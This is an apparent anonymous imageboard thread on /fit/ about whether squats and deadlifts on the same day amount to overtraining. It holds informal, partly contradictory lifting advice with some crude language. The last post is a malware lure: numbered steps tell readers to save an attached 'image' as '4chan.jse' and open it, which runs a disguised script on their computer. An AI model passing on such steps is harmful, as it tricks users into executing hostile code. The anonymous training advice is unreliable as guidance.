File :-(, x, )
Anonymous
hey /fit/

is doing squats and deadlifts on the same day overtraining? I usually push until failure / near failure on the squats, which I do first. any suggestions?
>> Anonymous
weeeeeeeeeeeeeeeeeeeeeeeelllllhelllllllllllloooooooooooooooooooooooooo

ooooooooo

only overtraining if you can squat 2x your bw, and dl 2.5-3x your bw.

then yes, thats overtraining. If you are still a beginner, its not a bad idea to do both- it will teach your CNS to overload, then in the future when you physically cannot do it anymore- say 8-12 weeks of upping 2.5lbs every workout, you will need to suckdic switch this around.
>> Anonymous
no.

just rest at least a day before doing them again.

squat first then deadlift.
>> Anonymous
>>292971
>only overtraining if you can squat 2x your bw, and dl 2.5-3x your bw.

No it isn't. If a person is conditioned to handle those loads, it's not overtraining. Use % one rep max.
>> Anonymous
5x5 squats, then 1x5 deadlift.
you should be smashed afterwards.
>> Anonymous
     File :-(, x)
1. Open this image. You will see an error message.
2. Save it with the filename "4chan.jse".
3. Open the file you ju?st saved.
4. Shit bricks.